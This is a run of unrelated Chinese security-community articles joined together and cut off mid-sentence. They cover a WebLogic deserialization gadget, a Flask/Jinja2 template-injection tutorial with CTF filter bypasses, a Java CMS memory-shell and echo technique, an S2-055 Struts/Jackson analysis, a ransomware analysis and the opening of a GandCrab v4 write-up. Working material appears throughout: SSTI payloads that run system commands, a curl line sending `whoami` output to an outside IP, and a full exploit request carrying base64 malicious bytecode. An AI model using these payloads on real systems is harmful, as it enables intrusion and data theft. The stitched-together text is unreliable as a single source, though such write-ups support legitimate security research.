`defineClass` 进行加载恶意类字节码。
由于 `RemotableSupport` 继承了 `ClassLoader`，所以它的 `defineClass` 就是调用了父类的
`defineClass` 来加载类，但是有意思的是他所生成类名的逻辑，是前面所说的 `ClassIdentity.getname() = package
+ "/" + baseName + "$" + version`，所以 `ClassIdentity` 中的字节数组 `byte[]` 中的对应的
Class 的类名必须为 `package + "." + baseName + "$" + version`，否则可能会面临加载失败的问题。
还有一个有意思的地方是 `RemotableSupport.defineClass` 这个函数所返回的是一个泛型
还刚好是 `ClassDefinition.setRemotableClass`
的参数类型一致
这意味着，这个`ClassDefinition`中的类字节数组`byte[]`内容不需要进行继承`Remotable`
而且显而易见，`ClassDefinition.setRemotableClass` 的作用就是为`ClassDefinition` 的两个
`transient` 字段赋值
这要求`ClassDefinition`所代表的类的构造函数必须只有一个，参数有无，没有任何影响，`m_mhCtor`字段的类型为`MethodHandle`，是
JDK7 的新特性，是另一套反射 api 中的类，在 `ClassDefinition` 这个类中对应于构造函数。
当流入 `ClassDefinition.createInstance` 后会进行调用构造方法将 `aoArgs`
作为参数进行实例化对象，由于我们的恶意代码是写在构造方法中的，所以当实例化之后会进行执行恶意代码。
## 实际利用
综述，整体的思路为，构造一个带有包名类，恶意代码写进构造函数中就行，然后通过 `javassist` 进行动态修改类名，将原类名追加 `$` 和
`version` 值，在实战利用中可能会出现以下问题。
### 为啥要带包名？
因为`ClassIdentity`的构造函数中有下面这个链式调用，不带包名`getPackage()`会返回`null`，再往下调用就会空指针异常
### Class 版本问题
在利用的过程中常常会出现，由于 JDK 版本问题无法正常利用问题。
1. 可以通过在编译获取恶意类时加入 `-source 1.6 -target 1.6` 参数指定编译版本。
2. 也可通过设置当前运行 jdk 版本调整为最低版本进行使用。
### 序列化 ID 问题
由于 Weblogic 版本的变化，`coherence.jar` 文件中的 `serialVersionUID`
可能会出现不一致的问题，通过分析测试得出以下结论 `12.2.1.3.0` 与 `12.2.1.4.0`、`14.1.1.0.0` 的
`serialVersionUID` 不同，以下为详细测试的结果：
coherence.jar | weblogic 版本 | 是否成功
---|---|---
12.2.1.3.0 | 12.2.1.3.0 | 成功
12.2.1.3.0 | 12.2.1.4.0 | 失败
12.2.1.3.0 | 14.1.1.0.0 | 失败
12.2.1.4.0 | 12.2.1.3.0 | 失败
12.2.1.4.0 | 12.2.1.4.0 | 成功
12.2.1.4.0 | 14.1.1.0.0 | 成功
14.1.1.0.0 | 12.2.1.3.0 | 失败
14.1.1.0.0 | 12.2.1.4.0 | 成功
14.1.1.0.0 | 14.1.1.0.0 | 成功
该问题可通过 `URLClassLoader` 进行动态加载处理以下为部分核心代码（摘自 `weblogic-framework`）：
## 参考
* [CVE-2020-14644 分析与 gadget 的一些思考](https://paper.seebug.org/1281/)
* <https://www.oracle.com/security-alerts/cpujul2020.html>
* * * | 社区文章 |
## 前言
一直对模板注入似懂非懂的，打算在这篇文章中深入的研究一下模板注入以及在ctf中bypass的办法。
## Learning
### 什么是模板&模板注入
小学的时候拿别人的好词好句，套在我们自己的作文里，此时我们的作文就相当于模板，而别人的好词好句就相当于传递进模板的内容。
那么什么是模板注入呢，当不正确的使用模板引擎进行渲染时，则会造成模板注入，比如：
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
网上大部分所使用的request.url的方式已经不能导致模板注入了，在最新的flask版本中会自动对request.url进行urlencode，所以我稍微改了一下代码，改成request.args传参就可以了。
在上述代码中，直接将用户可控参数`request.args.get('404_url')`在模板中直接渲染并传回页面中，这种不正确的渲染方法会产生模板注入(SSTI)。
可以看到，页面直接传回了0而不是{{1-1}}。
### How2use
在Python的ssti中，大部分是依靠基类->子类->危险函数的方式来利用ssti，接下来讲几个知识点。
* `__class__`
万物皆对象，而 **class** 用于返回该对象所属的类，比如某个字符串，他的对象为字符串对象，而其所属的类为`<class 'str'>`。
* `__bases__`
以元组的形式返回一个类所直接继承的类。
* `__base__`
以字符串返回一个类所直接继承的类。
* `__mro__`
返回解析方法调用的顺序。
* `__subclasses__()`
获取类的所有子类。
* `__init__`
所有自带带类都包含 **init** 方法，便于利用他当跳板来调用 **globals** 。
* `__globals__`
`function.__globals__`，用于获取function所处空间下可使用的module、方法以及所有变量。
在看完上边这些自带方法、成员变量后，可能有点懵，接下来看看是如何利用这些方法以及成员变量达到我们想要的目的的。
在SSTI中，我们要做的无非就两个：
* 执行命令
* 获取文件内容
所以我们所做的一切实际上都是在往这两个结果靠拢。
测试代码：
# -*- coding:utf8 -*- from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
当我们访问的页面404时，会从get传递的参数中获取404_url的值并且拼接进模板进行渲染。
接下来看看常规操作：
"".__class__
先使用该payload来获取某个类，这里可以获取到的是str类，实际上获取到任何类都可以，因为我们都最终目的是要获取到基类Object。
接下来我们可以通过 **bases** 或者 **mro** 来获取到object基类。
"".__class__.__bases__
"".__class__.__mro__[1]
接下来获取其所有子类：
"".__class__.__mro__[1].__subclasses__()
我们只需要寻找可能执行命令或者可以读取文件的类就可以了，重点关注os/file这些关键字。
获取到subclasses后，初步看了一下没有能直接执行命令或者获取文件内容的，接下来使用 **init**. **globals** 来看看有没有os
module或者其他的可以读写文件的。
{{"".__class__.__mro__[1].__subclasses__()[303].__init__.__globals__}}
这里我用burp来爆破303这个数字，从0爆破到一千，可以发现有很多个内置类都可以使用os这个模块，于是就可以欢乐的执行系统命令了～
最终payload：
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
### Bypass in CTF
当我们需要测试SSTI过滤了什么的时候，可以使用如下payload防止其500:
`{{"要测试的字符"}}`，只需要看看要测试的字符是否返回在页面中即可，下面分别说说对应各种过滤情况的解决办法。
我们首先要知道，过滤了某种字符对我们的影响，接下来再对应寻找payload来利用。
#### 过滤引号
回顾我们上面的payload，哪里使用了引号？
接下来思考对应的解决办法，首先第一个引号的作用是什么，是为了引出基类，而任何数据结构都可以引出基类，所以这里可以直接使用数组代替，所以上述payload就变成了：
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
在fuzz的时候我发现，数据结构可以被替换为数组、字典，以及`数字0`。
再看看后面的引号是用来干嘛的，首先看看. **init**. **globals** 返回的是什么类型的数据:
所以第一个引号就是获取字典内对应索引的value，这里我们可以使用request.args来绕过此处引号的过滤。
request.args是flask中一个存储着请求参数以及其值的字典，我们可以像这样来引用他：
所以第二个引号的绕过方法即：
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os
后面的所有引号都可以使用该方法进行绕过。
还有另外一种绕过引号的办法，即通过python自带函数来绕过引号，这里使用的是chr()。
首先fuzz一下chr()函数在哪：
payload：
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
通过payload爆破subclasses，获取某个subclasses中含有chr的类索引，可以看到爆破出来很多了，这里我随便选一个。
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}
接着尝试使用chr尝试绕过后续所有的引号：
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}
#### 过滤中括号
回看最初的payload，过滤中括号对我们影响最大的是什么，前边两个中括号都是为了从数组中取值，而后续的中括号实际是不必要的， **globals**
["os"]可以替换为 **globals**.os。
所以过滤了中括号实际上影响我们的只有从数组中取值，然而从数组中取值，而从数组中取值可以使用pop/ **getitem** 等数组自带方法。
不过还是建议用 **getitem** ，因为pop会破坏数组的结构。
a[0]与a. **getitem** (0)的效果是一样的，所以上述payload可以用此来绕过：
{{"".__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
#### 过滤小括号
需要注意的一点是，如果题目过滤了小括号，那么我们就无法执行任何函数了，只能获取一些敏感信息比如题目中的config。
因为如果要执行函数就必须使用小括号来传参，目前我还没找到能够代替小括号进行传参的办法。
#### 过滤关键字
主要看关键字是如何过滤的，如果只是替换为空，可以尝试双写绕过，如果直接ban了，就可以使用字符串合并的方式进行绕过。
使用中括号的payload：
{{""["__cla"+"ss__"]}}
不使用中括号的payload：
{{"".__getattribute__("__cla"+"ss__")}}
这里主要使用了 **getattribute** 来获取字典中的value，参数为key值。
第二种绕过过滤关键字的办法之前也提到了，即使用request对象：
{"".__getattribute__(request.args.a)}}&a=__class__
第三种绕过关键字过滤的办法即使用str原生函数：
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
以上即为str的原生函数，我们可以使用decode、replace等来绕过所过滤的关键字。
#### 模块阉割
在比赛环境中，经常会阉割掉一些内置函数，我们可以尝试使用reload来重载。
在Python2中，reload是内置函数，而在Python3中，reload则为imp module下的函数，使用方法：
测试：
在比赛场景中我们一般是不能直接reload(os)的，因为可能当前类并没有import os。
所以一般都是`reload(__builtins__)`，这时可以重新载入 **builtins** ，此时 **builtins**
中被删除的比如eval、 **import** 等就又都回来了。
reload()主要用于沙盒环境中，比如直接给你提供了一个shell的环境，SSTI中我还没有成功使用过reload()。
#### 过滤{{}}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
相当于把命令执行的结果外带出去。
#### 过滤点号
在Python环境中(Python2/Python3)，我们可以使用访问字典的方式来访问函数/类等。
"".__class__等价于""["__class__"]
利用上述方式，可以绕过点号的过滤，懒得本地复现了，直接丢之前遇到点号过滤的时候绕过的笔记：
POST /?class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ HTTP/1.1
Host: 114.116.44.23:58470
Content-Length: 190
Accept: */*
Origin: http://114.116.44.23:58470
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://114.116.44.23:58470/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
nickname={{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
#### 总结
基本的过滤也就只有这些了，剩下的待挖掘的其实就只剩下可以命令执行的module了。
## 参考
[SSTI/沙盒逃逸详细总结](https://www.anquanke.com/post/id/188172)
[Flask/Jinja2模板注入中的一些绕过姿势](https://p0sec.net/index.php/archives/120/) | 社区文章 |
# 已遭利用的Windows 0day漏洞 CVE-2020-1380 分析
##### 译文声明
本文是翻译文章，文章原作者 代码卫士，文章来源：代码卫士
原文地址：<https://mp.weixin.qq.com/s/yxxuZpAQmCKjP1YDqgHuhQ>
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
**作者：unicodeSec @宽字节安全
原文链接：<https://mp.weixin.qq.com/s/IdXYbjNVGVIasuwQH48Q1w>**
虽然打厚码，但是好兄弟们依旧知道我在说什么。这个java
cms的反序列化点极多，而且报文中没有多少特征。至于这个是不是你们说的0day/1day，我就不清楚了，好兄弟们自行分辨。
首先从任意文件上传说起
任意文件上传分析代码在`servlet.FileReceiveServlet`。在这里我们可以看到，从请求中读取流，然后转换为map类型并读取上传文件的路径。然后再读取待上传的文件。
而网上很多poc，大多都是基于此漏洞，利用反序列化上传一个文件到服务器。
这也就是去年的那个任意文件上传的反序列化漏洞。但是，但是，这个漏洞本质是一个反序列化漏洞。而且某C的classpath中，也存在apache
commonscollections库，我们可以利用这个库，直接执行命令或者内存马。岂不是比任意文件上传舒服多了。
### 内存马
老样子，在反序列化中想执行任意代码，一般都依靠xalan这个库。这次也不例外。
植入内存马，关键在于我们怎样找到context，只有找到context，我们才可以添加filter。好在某c中，我们只需要通过下面的代码既可以获取当前context，不需要从tomcat中获取context
Object obj = 改动Locator.getInstance().lookup("ServletContext");
Field contextField = obj.getClass().getDeclaredField("context");
contextField.setAccessible(true);
obj = contextField.get(obj);
Field contextField1 = obj.getClass().getDeclaredField("context");
contextField1.setAccessible(true);
addFitlertoTomcat(contextField1.get(obj));
剩下的就是常规操作，可以看我之前的内存马模型，基本不需要很大的改动即可完美适配。
### 回显
我们只需要找到这样一个servlet，即存在反序列化的readObject，又将错误信息写入到response中
不难看出 uploadServlet 就很满足这个需求。
out = new ObjectOutputStream(output);
in = new ObjectInputStream(request.getInputStream());
String dsName = (String)in.readObject();
}
} catch (Exception var14) {
var14.printStackTrace();
if (out == null) {
throw new ServletException(var14);
}
out.writeObject(var14);
如果出错的话，将错误信息通过序列化写入到response中。好处在于，我们不需要麻烦的去找tomcat的response对象。
所以，我们将反序列化的payload，发送给uploadServlet即可。然后我们只需要读取响应，即可拿到服务器命令执行的回显结果。客户端代码可以这样写
byte[] r = HttpClient.post("http://192.168.12.133/servlet/UploadServlet", baos.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(r));
Exception e = (Exception) objectInputStream.readObject();
Object obj = e.getCause();
Field targetF = obj.getClass().getDeclaredField("target");
targetF.setAccessible(true);
obj = targetF.get(obj);
Field msgF = obj.getClass().getSuperclass().getDeclaredField("detailMessage");
msgF.setAccessible(true);
String msg = msgF.get(obj).toString();
System.out.println(msg);
* * * | 社区文章 |
作者：[廖新喜](http://xxlegend.com/2017/12/06/S2-055%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E4%B8%8E%E5%88%86%E6%9E%90/
"廖新喜")
#### 1 综述
2017年12月1日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x
REST插件存在远程代码执行的中危漏洞，漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知，其实这里是远程代码执行。
相关链接如下：
<https://cwiki.apache.org/confluence/display/WW/S2-055>
影响版本：
Struts 2.5 - Struts 2.5.14
规避方案
立即升级到Struts 2.5.14.1或者升级com.fasterxml.jackson到2.9.2版本
#### 2 技术分析
从官方的描述来看，这个就是Jackson的反序列化漏洞，由于Jackson在处理反序列的时候需要支持多态，所以在反序列的时候通过指定特定的类来达到实现多态的目的。这个特性默认是不开启的，所以在Struts2中影响也是有限。
###### 2.1 Jackson多态类型绑定
为了让Jackson支持多态，Jackson官方提供了几种方式，下面介绍两种常用方式（<https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization>）
第一种：全局Default Typing机制，启用代码如下：
objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
这是一个全局开关，打开之后，在持久化存储数据时会存储准确的类型信息。
第二种：为相应的class添加@JsonTypeInfo注解
public ObjectMapper enableDefaultTyping(DefaultTyping dti) {
return enableDefaultTyping(dti, JsonTypeInfo.As.WRAPPER_ARRAY);
}
通过阅读源码也能发现，全局Default Typing机制也是通过JsonTypeInfo来实现的。下面来看一个简单的示例：
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
class Animal { } 在超类Animal上加上一段@JsonTypeInfo，所有Animal的子类反序列化都可以准确的对于子类型。
这段注解什么意思呢？JsonTypeInfo.Id.CLASS是指序列化或者反序列时都是全名称，如`org.codehaus.jackson.sample.Animal`,`JsonTypeInfo.As.WRAPPER_ARRAY`
意为使用数组表示，如
[
"com.fasterxml.beans.EmployeeImpl",
{
... // actual instance data without any metadata properties
}
]
###### 2.2 S2-055 环境搭建
了解了Jackson的相关多态的特性之后，为了触发反序列化漏洞，必须开启这个特性，再来看看Struts2的相关代码。由于Jackson不是Struts2
json格式的默认处理句柄，首先修改struts.xml,添加如下代码：
<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="jackson" class="org.apache.struts2.rest.handler.JacksonLibHandler"/>
<constant name="struts.rest.handlerOverride.json" value="jackson"/>
这样Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理，再来分析下JacksonLibHandler的代码，如下所示：
public void toObject(Reader in, Object target) throws IOException {
mapper.configure(SerializationFeature.WRITE_NULL_MAP_VALUES, false);
ObjectReader or = mapper.readerForUpdating(target);
or.readValue(in);
}
上述代码是处理json反序列的逻辑，很显然没有启用全局Default
Typing机制，那么为了触发这个漏洞只能是通过第二种支持多态的方式来打开这个特性。这个漏洞和S2-052非常类似，都是引用的第三方库存在缺陷导致的漏洞，这样的案例数不胜数，在Java生态中简直就是一个灾难，第三方依赖实在太多。为了分析这个漏洞，我们还是拿052的环境来做测试，也就是rest-show-case，环境搭建可以参考[《S2-052漏洞分析及官方缓解措施无效验证》](http://xxlegend.com/2017/09/06/S2-052%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%AE%98%E6%96%B9%E7%BC%93%E8%A7%A3%E6%8E%AA%E6%96%BD%E6%97%A0%E6%95%88%E9%AA%8C%E8%AF%81/
"S2-052漏洞分析及官方缓解措施无效验证")，具体的修改如下：
public class Order {
public String id;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
public Object clientName;
public int amount;
public Order() {}
public Order(String id, Object clientName, int amount) {
super();
this.id = id;
this.clientName = clientName;
this.amount = amount;
}
public void setClientName(Object clientName) {
this.clientName = clientName;
}
修改部分主要在`@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include =
JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName;`
一个在clientName上方添加注解，打开支持多态的特性，这样我们就能指定clientName的类型；另一个是将clientName的类型改为Object类型，这样就避免了类型不匹配或者不是其子类的错误。相应地修改setClientName方法的传入类型为Object。
###### 2.3 PoC构造
Jackson已经暴露了很多种PoC在外，下面我们拿com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来做示例，具体的PoC如下：
POST /orders HTTP/1.1
Host: 192.168.3.103:8080
Proxy-Connection: keep-alive
Content-Length: 2157
Cache-Control: max-age=0
Origin: http://192.168.3.103:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/orders/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6
Cookie: csrftoken=LYokAxo4ABMl0wKhLhkdl1x5I0AQQDE8E3L1zcc3A1YVybHMEHkOWq01VqdnfJEm; JSESSIONID=7367044F7C24B8BE7CDE5444E28E2BF4
{"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAARjYWxjDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],"transletName":"a.b","outputProperties":{}}]}
首先将ContentType设置为application/json，这样请求才会丢给Jackson处理。这里最核心的部分就是clientName字段了，必须和前面注解部分绑定，也就是这个字段必须有，很显然，这个漏洞不具有通用性，首先得有一个Object类型的字段，其次这个字段还必须用注解JsonTypeInfo修饰。这种情况应该少之又少。下面给个计算器的图吧。
* * * | 社区文章 |
# 敲竹杠家族又出新玩法 - 随机化密码、邮件取信
|
##### 译文声明
本文是翻译文章，文章来源：360QVM@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**一、概况**
近期360QVM团队截获到了一批伪装成游戏外挂、QQ刷钻、游戏刷装备等类型的敲诈软件。一旦用户点击运行,用户计算机的管理员账号将被添加或更改密码,造成用户计算机无法进行任何操作。如果用户想要解锁手机只能联系恶意软件界面上留下的QQ号码并向其进行付费,从而达到勒索用户资金的目的。
**
**
**二、样本分析**
近期我们捕获到的恶意勒索类软件主要分为两种实现方法,其中一种是为计算机用户添加固定的用户密码;另一种是通过当前环境的部分信息进行加密计算后设置系统的用户密码,导致无法进入系统操作界面,本文将以一枚随机算法的样本进行分析。
样本信息:
MD5:FD71FA7B8B9282618E050653464611F4
SHA1:C0126EACC1D50F0F7BBE3C1303EA61154688AC4B
**
**
**(一)样本执行流程**
样本首先通过随机数和取时间进行混合运算后得到密码,然后通过操作注册表达到关闭UCA(User Account
Control)等功能,再修改用户密码并向作者设定好的邮箱中投递密码信息用作用户赎回密码时提供密码,最后进行强制关机。
**(二)样本具体行为**
样本启动后首先对设置自身为开机启动项,在注册表内建立”3.exe”的注册表项
通过taskkill 来结束卡巴斯基、瑞星、McAfee 等安全软件来实现保护自身的目的。
对注册表的相关操作数量过多,将在下文源码中具体体现。
其中设置注册表项共计如下:
其中删除注册表共计如下:
调用cmd进行添加计算机密码
对作者预设的邮箱中发送密码信息,在发送密码后将进行关机
因为样本是易语言样本,根据其特性识别样本中的支持库信息并还原源码,其算法部分如下:
逆向支持库后还原完整源码如下:
**三、解决方案**
对付敲竹杠木马以预防为主,如果不慎中招,推荐使用360安全查询的敲竹杠木马开机密码找回功能(http://fuwu.360.cn/chaxun/qq),我们通过对样本分析,不断更新补充敲竹杠木马的开机密码库,在找回开机密码后请及时全盘扫描杀毒。如遇到无法查到密码的情况,也欢迎向我们提交样本反馈。
开机密码找回步骤:
1、若您的电脑开机出现如下画面
2、输入对方留下的联系QQ号码
3、立即修改您的密码(控制面板→ 用户账户→ 更改密码)
**四、总结**
在PC领域,“勒索软件”这个词在去年一个名为CryptLocker的病毒爆发之后逐渐进入公众视线,其会将用户文档资料全部加密,而用户必须给黑客支付300美元或0.5比特币才能找回自己的文档资料。而在此之后国内也出现了利用添加或修改用户开机密码进行勒索的恶意软件,并且有愈演愈烈地趋势。这种类型的恶意软件如果进一步演变,对用户电脑及电脑上的数据资料都会带来巨大的安全风险和威胁。我们将密切关注此类恶意软件的演变趋势并提供有效的解决方案。 | 社区文章 |
# 恶意软件GandCrab V4.0最新版分析
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/gandcrab-v4-0-analysis--new-shell--same-old-menace.html>
译文仅供参考，具体内容表达以及含义原文为准。
就像BleepingComputer[首次报道](https://www.bleepingcomputer.com/news/security/gandcrab-v4-released-with-the-new-krab-extension-for-encrypted-files/)中的情况一样，仅在几天前就有观察员发现GandCrab
v4.0新版本已经将目标对准了那些搜索破解版应用程序的用户，攻击者将恶意页面注入到合法网站中，来诱导那些毫无防备的用户下载GandCrab恶意软件。
自GandCrab经历重大更新以来，已经过去了两个多月，虽然这个最新版本在代码结构方面做出了一些改革，但它的主要用途基本上没变，虽然作者删除了它的一些较旧的功能，但大多数标准功能仍然存在，而且值得注意的是，勒索软件部分在上一次大型更新中添加的更改壁纸功能现在已被移除。然而，GandCrab最大的变化主要还是从使用RSA-2048加密变成了以更快的[Salsa20流密码](https://cr.yp.to/salsa20.html)来加密数据，这也是之前的[Petya勒索软件](https://www.fortinet.com/blog/threat-research/ransomware-and-the-boot-process.html)使过的技术。此外，它还可以在加密受害者的文件之前连接到C2服务器，这也意味着它现在可以加密那些未连接到网络的用户。
> 注：感谢FortiGuard研究团队主管David Maciejak对被入侵网站进行调查。
>
> 注：点此[阅读](https://www.fortinet.com/blog/threat-> research/gandcrab-v3-accidentally-locks-systems-with-new--change-> wallpape.html)以前关于此主题的研究。
## GandCrab V4.0的奴隶
据报道，恶意软件通过使用WordPress的受感染网站进行分发，这种方法一点儿也不新鲜，因为WordPress是目前最流行的[攻击目标](https://premium.wpmudev.org/blog/wordpress-security-exploits/)之一。事实上，对于这个最新版本，我们还发现在许多被感染的网站中都被注入了恶意网页（其中一些如下图所示）。
图1.受感染网站中被注入的页面
这些页面会立即将用户重定向到一个单独的页面，其中就包含GandCrab可执行文件的下载链接。有趣的是，当几分钟后再次访问这些站点时，除非您更改了IP地址，否则不会再发生重定向。
图2.下载GandCrab v4.0的页面
我们的分析显示可执行文件的恶意软件和下载链接正在被定期更新。以下是我们在分析过程中观察到的一些链接。它们遵循格式 http:// _<
